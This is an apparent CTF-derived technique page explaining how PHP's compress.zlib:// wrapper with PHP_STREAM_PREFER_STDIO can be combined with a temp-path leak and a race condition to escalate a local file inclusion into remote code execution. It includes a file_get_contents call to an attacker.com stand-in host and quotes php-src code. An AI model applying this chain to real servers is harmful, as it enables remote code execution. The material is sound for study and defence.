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LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

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compress.zlib:// and PHP_STREAM_PREFER_STDIO

A file opened using the protocol compress.zlib:// with the flag PHP_STREAM_PREFER_STDIO can continue writing data that arrives to the connection later to the same file.
This means that a call such as:
file_get_contents("compress.zlib://http://attacker.com/file")
Will send a request asking for http://attacker.com/file, then the server might respond the request with a valid HTTP response, keep the connection open, and send extra data some time later that will be also written into the file.
You can see that info in this part of the php-src code in main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition to RCE

This CTF was solved using the previous trick.
The attacker will make the victim server open a connection reading a file from the attackers server using the compress.zlib protocol.
While this connection exist the attacker will exfiltrate the path to the temp file created (it's leaked by the server).
While the connection is still open, the attacker will exploit a LFI loading the temp file that he controls.
However, there is a check in the web server that prevents loading files that contains <?. Therefore, the attacker will abuse a Race Condition. In the connection that is still open the attacker will send the PHP payload AFTER the webserver has checked if the file contains the forbidden characters but BEFORE it loads its content.
For more information check the description of the Race Condition and the CTF in https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
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